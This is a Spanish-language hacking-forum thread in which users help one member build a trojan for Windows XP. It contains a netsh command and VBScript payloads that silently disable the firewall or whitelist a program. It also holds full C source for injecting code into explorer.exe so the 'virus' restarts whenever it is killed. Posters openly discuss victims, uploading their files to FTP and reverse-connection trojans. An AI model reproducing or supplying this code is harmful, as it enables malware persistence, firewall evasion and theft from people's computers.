Tema destacado: Últimos eventos sobre seguridad/inseguridad
Autor
|
Tema: Firewall Win Xp (Leído 4,020 veces)
|
magarcan
Desconectado
Mensajes: 79
|
Estoy haciendo un troyano si es que puede llamarse así je je. El problema es que a la primera ejecución salta el firewall de Windoes XP. He instalado programas en mi ordenador y ellos automáticamente se agregan a la lista de excepciones. ¿Alguien sabe como se hace esto? Me imagino que sea agregando una entrada al registro de Windows. A la espera. Muchas gracias
|
|
|
|
|
En línea
|
|
|
|
|
|
|
Gorky
|
Tiesn que hace una injecion de proceso , IE, msn  No es necesario hacer eso. Busca en el foro como agregar excepciones que se ha tratado muchas veces.
|
|
|
|
|
En línea
|
Si te gusta la Formula 1... 
|
|
|
magarcan
Desconectado
Mensajes: 79
|
He estado buscando y no encuentro nada. Sólo te dicen como hacerlo de forma manual, es decir:inicio>panel de control>....
Yo quiero que mi programa lo haga solo. Gracias por las respuestas.
|
|
|
|
|
En línea
|
|
|
|
|
~~
|
Pues si lo haces de conexion inversa no seria necesario Si kieres ver exactamente q clave se varia del reg, una de dos o buscas por google o miras con el regmon a ver q cambia exactamente (es un programa para ver los cambios del reg en tiempo real)
|
|
|
|
|
En línea
|
|
|
|
LixKeÜ
Desconectado
Mensajes: 393
solo es lo que es y la verdad siempre da de ganar
|
lo mejor seria que hagas una conexion inversa  y listo 
|
|
|
|
|
En línea
|
|
|
|
|
~~
|
Tiesn que hace una injecion de proceso , IE, msn  oye y hablando de eso MITM, no conoceras un codigo en C q funcione bien no??
|
|
|
|
|
En línea
|
|
|
|
magarcan
Desconectado
Mensajes: 79
|
El firewall saltaba si se usa la opción de subir archivos del ordenador de la víctica a un server ftp (concretamente a la hora de loggearse en el ftp). Al final he encontrado como agregar la excepción. No se hace mediante un registro como me imaginaba, pero se hace a trravés de la línea de comandos, más fácil si cabe. Por si a alguien le puede servir pongo aquí como se haría: Con: netsh firewall add allowedprogram program = ruta del ejecutable, entre comillas si contiene espacios; en la ruta pueden usarse variables de entorno como %programfiles%, etc.
name = nombre que se dará a la excepción y que aparecerá en la lista de excepciones mode = uno de los modos descritos anteriormente scope = ámbito de la excepción tal y como se han descrito addresses = direcciones en el formato especificado profile = perfil donde se aplicará la excepción
Ejemplo:netsh firewall add allowedprogram “C:\\Archivos de programa\\Aplicacion\\programa.exe” “Mi programa” disable custom 11.121.71.0/255.255.0.0,12.13.120.1 all Espero que os sea de utilidad
|
|
|
|
|
En línea
|
|
|
|
|
|
|
~~
|
Pues me arias un gran favor si me pasaras el codigo 
|
|
|
|
|
En línea
|
|
|
|
|
Man-In-the-Middle
|
Por cierto... puedo postear este código en la sección de Programacion VB? Esque hay usuarios que quieren saber como infectar ejecutables.
Antes de sacar info del Laboratorio prefiero preguntar. Si no se puede no pasa nada, que no me enfado xD
Saludos!! Codigo de ||MadAntrax|| //Este para infectar exes, muy currado y bueno !! Y este, es para injeccion de IE #include <windows.h>
//declaramos punteros a las apis que usaremos en el codigo inyectado //colocamos los tipos de datos que reciben y el tipo que devuelven typedef HANDLE (WINAPI *sOpenProcess) (DWORD, BOOL, DWORD); typedef DWORD (WINAPI *sWaitForSingleObject) (HANDLE, DWORD); typedef BOOL (WINAPI *sCreateProcess) (LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION); typedef BOOL (WINAPI *sCloseHandle) (HANDLE); typedef VOID (WINAPI *sSleep) (DWORD); typedef HANDLE (WINAPI *sCreateMutex) (LPSECURITY_ATTRIBUTES, BOOL, LPSTR);
//struct que inyectaremos en la memoria del proceso, contendra las //direcciones de las apis que usaremos y otros datos struct iDat { sCreateMutex pCreateMutex; sOpenProcess pOpenProcess; sWaitForSingleObject pWaitForSingleObject; sCreateProcess pCreateProcess; sCloseHandle pCloseHandle; sSleep pSleep; DWORD PID; HANDLE hp; int x; STARTUPINFO si; PROCESS_INFORMATION pi; char Path[MAX_PATH]; char Mutex[50]; };
//prototipos de funciones DWORD GetAdres(char *module, char *function); DWORD Resident(iDat *base); int SubMain(); void Dormir();
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { //si no es un win tipo NT(xp, 2000, 2003, nt) salimos OSVERSIONINFO OSinfo; OSinfo.dwOSVersionInfoSize=sizeof(OSinfo); GetVersionEx(&OSinfo); if (OSinfo.dwPlatformId!=2) return 0;
//verificamos la existencia del mutex "Resident", si ya existe //el explorer.exe ya esta inyectado y vamos a Dormir() //en este caso por ser un ejemplo llamamos a Dormir() para //mantener el proceso del ejemplo HANDLE om = OpenMutex(SYNCHRONIZE, false, "Resident"); if (om == NULL) { SubMain(); } else { Dormir(); } return 0; }
//esta es la funcion que inyectaremos en el proceso del explorer.exe //observese que se accede a las api y a otros datos usando la structura //declarada antes, ya que como esta funcion se ejecutara en la memoria de //otro proceso, no podemos usar apis y variables directamente, porque //no corresponderian su direccion en la memoria de nuestro proceso //con la del proceso del explorer.exe, es decir si por ejemplo la //funcion usa una variable tipo int en la direccion 1000 de nuestro //proceso, al inyectar el code, la funcion usaría lo que ubiera en //la direccion 1000 del proceso inyectado, y daria error //la funcion recibe un puntero a una struct iDat DWORD Resident(iDat *base) { //creamos el mutex "Resident" para marcar el proceso como //inyectado base->pCreateMutex(NULL, 0, base->Mutex); //abrimos el proceso del virus, con permiso de sincronizacion base->hp = base->pOpenProcess(SYNCHRONIZE, 0, base->PID); //si error salimos if(base->hp==0) return 0; //esperamos a que el proceso termine(es decir si nos terminan) base->pWaitForSingleObject(base->hp, INFINITE); //cerramos el handle al proceso base->pCloseHandle(base->hp); //esperamos 1/2 seg. base->pSleep(500); //entramos a un bucle do que ejecutara el virus si terminan su proceso do { //ejecutamos el virus base->x = base->pCreateProcess(base->Path, 0, 0, 0, 0, 0, 0, 0, &base->si, &base->pi); //si error salimos if (base->x == 0) break; //esperamos a que el proceso termine(osea si nos terminan) base->pWaitForSingleObject(base->pi.hProcess, INFINITE); //cerramos los handles al proceso y al hilo primario del proceso base->pCloseHandle(base->pi.hProcess); base->pCloseHandle(base->pi.hThread); //dormimos 1/2 seg base->pSleep(500); } while(1); return 0; } //funcion inyectora int SubMain() { //declaramos variables DWORD pid; HWND hv; HANDLE hp; iDat dat; DWORD TamCodigo, dw; void *vm; char path[MAX_PATH]; //inicializamos con ceros la struct ZeroMemory(&dat, sizeof(iDat));
//copiamos la cadena al miembro que se usara como nombre del mutex //al miembro .Mutex de la struct lstrcpy(dat.Mutex, "Resident");
//obtenemos el handle a la barra de inicio(que es una ventana, gene //rada por el explorer.exe) si estamos haciendo esto al iniciar //la pc seria bueno poner un retardo o un contador con un for //y con un Sleep ya que puede que el virus se ejecute y como la pc //recien se inicia, todavia no se haya creado la barra de inicio hv = FindWindow("Shell_TrayWnd", NULL); //si error salimos if (hv==0) return 1;
//obtenemos el PID del proceso que creo la barra de inicio, que sera //el pid del explorer.exe GetWindowThreadProcessId(hv, &pid); //si error salimos if (pid==0) return 1;
//abrimos el proceso del explorer.exe hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid); //si error salimos if (hp==0) return 1;
//obtenemos las direcciones de las apis que usaremos y las //almacenamos en la struct dat.pOpenProcess = (sOpenProcess)GetAdres("KERNEL32.DLL", "OpenProcess"); dat.pWaitForSingleObject = (sWaitForSingleObject)GetAdres("KERNEL32.DLL", "WaitForSingleObject"); dat.pCreateProcess = (sCreateProcess)GetAdres("KERNEL32.DLL", "CreateProcessA"); dat.pCloseHandle = (sCloseHandle)GetAdres("KERNEL32.DLL", "CloseHandle"); dat.pSleep = (sSleep)GetAdres("KERNEL32.DLL", "Sleep"); dat.pCreateMutex = (sCreateMutex)GetAdres("KERNEL32.DLL", "CreateMutexA"); //almacenamos en la struct nuestro pid y nuestro path tambien dat.PID = GetCurrentProcessId(); GetModuleFileName(0,path,sizeof(path)); lstrcpy(dat.Path, path);
//reservamos espacio en el proceso para la struct, devolvera un //puntero a la struct que indicara la direccion de memoria en el //proceso en que sera escrita la struct iDat *pDat= (iDat *)VirtualAllocEx(hp, 0, sizeof(iDat), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //si error salimos if (pDat==NULL) { CloseHandle(hp); return 1; } //escribimos la struct, si error salimos if(!WriteProcessMemory(hp, pDat, &dat, sizeof(iDat), &dw)) goto Fuera; //calculamos el tamaño de la funcion a inyectar, restando a la //direccion de la funcion que esta inmediatament debajo de la //funcion a inyectar, la direccion de la funcion a inyectar TamCodigo = (long unsigned int)SubMain - (long unsigned int)Resident;
//reservamos espacio para la funcion, devuelve la direccion //donde se reservo la memoria, que es donde escribiremos la //funcion vm = VirtualAllocEx(hp, 0, TamCodigo, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); //si no error if (vm!=NULL) { //escribimos la funcion, y si no error if(WriteProcessMemory(hp, vm, (void*)Resident, TamCodigo, &dw)) { //creamos un hilo remoto en el proceso para ejecutar la funcion //pasamos como argumento el puntero a la struct dat CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)vm, pDat, 0, NULL); } } Fuera: //cerramos el handle al proceso CloseHandle(hp); //dormimos Dormir(); return 1; } //obtiene la direccion de una api, indicandole la dll donde reside // y el nombre de la funcion. DWORD GetAdres(char *module, char *function) { HMODULE dh = LoadLibrary(module); if (!dh) return 0; DWORD pf = (DWORD)GetProcAddress(dh,function); if (!pf) { return 0; } FreeLibrary(dh); return pf; }
//funcion que duerme la ejecucion del .exe void Dormir() { while(1) { Sleep(30000); } } Info de Lab elhacker.netSaluoos
|
|
|
|
|
En línea
|
|
|
|
|
Man-In-the-Middle
|
Por otro lado, definitivamnete un troyano de conexion inversa, debe contar con injeccion de proceso Por que??
Por que la mayoria de los troyanos(funcionales, beast -bifrost), son orientados a pcs, que estan tras un firewall real(Lan), por que asi no mas, sin injeccion NO conecta, tu server se queda plantado en la pc, con el puerto ej 2000 abierto, esperando echo recive del cliente.
Obioo qu eso no se aplica para pcs, de uso domestico, ya que el firewall del xp, en teoria no existe XD!!, pero la mayoria de las pcs tienen antivirus + firewall(routers+firewall) y es jugartela, a cazar pocas montas, el obejtivo real de un troyano es orientado a LAN, para que? para una vez dentro , explorala con exploit y hacerte de ella.
Ente gustos y colores, cada uno tien lo suyo, pero si estas pensando hacer un troyano fijo opcion de injeccion, basico
saludos
|
|
|
|
|
En línea
|
|
|
|
||MadAntrax||
Lab Member
Ex-Staff
Desconectado
Mensajes: 1.525
Mala hierba nunca muere!
|
Como ya se ha hablado: VBScript: Jugando con el Firewall de Windows XP Cerrar el Firewall de Windows XPEste script permite deshabilitar por completo el firewall de Windows XP, lo malo de este método esque segun la configuración del Centro de Seguridad del usuario, mostrará o no un globo de advertencia. ''''''''''''''''''''''' ' Name: Disable_Frw.vbs ' Version: 1.0 ' Author: ||MadAntrax|| ' Website: foro.elhacker.net ' Payload: Disable the Windows Firewall. According to the user ' security preferences, it can appear a warning ballon. ' '''''''''''''''''''''''
Set Firewall = CreateObject("HNetCfg.FwMgr") Set Politica = Firewall.LocalPolicy.CurrentProfile
Politica.FirewallEnabled = FALSE
Solo hay que añadir que podemos cambiar el FALSE por un TRUE y así habilitar de nuevo el Firewall de Windows XP Agregar de modo silencioso un programa en la lista de excepcionesEste es el método que más me gusta: Permite añadir la dirección de un archivo en la lista de excepciones del Firewall, podemos seleccionar algunos parametros tales como el nombre de la aplicación, la ruta y más cosas (adjunto también fotografia): ''''''''''''''''''''''' ' Name: Add_App_to_Frw.vbs ' Version: 1.0 ' Author: ||MadAntrax|| ' Website: foro.elhacker.net ' Payload: Add a program to the exception list of Windows Firewall ' without prompting to user. ' '''''''''''''''''''''''
Set objFirewall = CreateObject("HNetCfg.FwMgr") Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication") objApplication.Name = "ElHacker.net - Aplicación" objApplication.IPVersion = 2 objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe" objApplication.RemoteAddresses = "*" objApplication.Scope = 0 objApplication.Enabled = True
Set colApplications = objPolicy.AuthorizedApplications colApplications.Add(objApplication)
|
|
|
|
|
En línea
|
|
|
|
|
|
|
~~
|
Muchiiiiiiiiiiiiiisimas gracias por el codigo MITM  Voy a modificarlo un poco y se lo voy a añadir al troyano en C y VB q estoy aciendo, es la leche el code  hace el proceso inmortal (siempre q no se cierre el explorer.exe xD) El codigo es tullo? por q me gustaria hacer un agradecimiento en el \"acerca de\" de mi troyan (a ti por supuesto, por pasarme el code) y su/sus autor/es De nuevo gracias 
|
|
|
|
|
En línea
|
|
|
|
|
|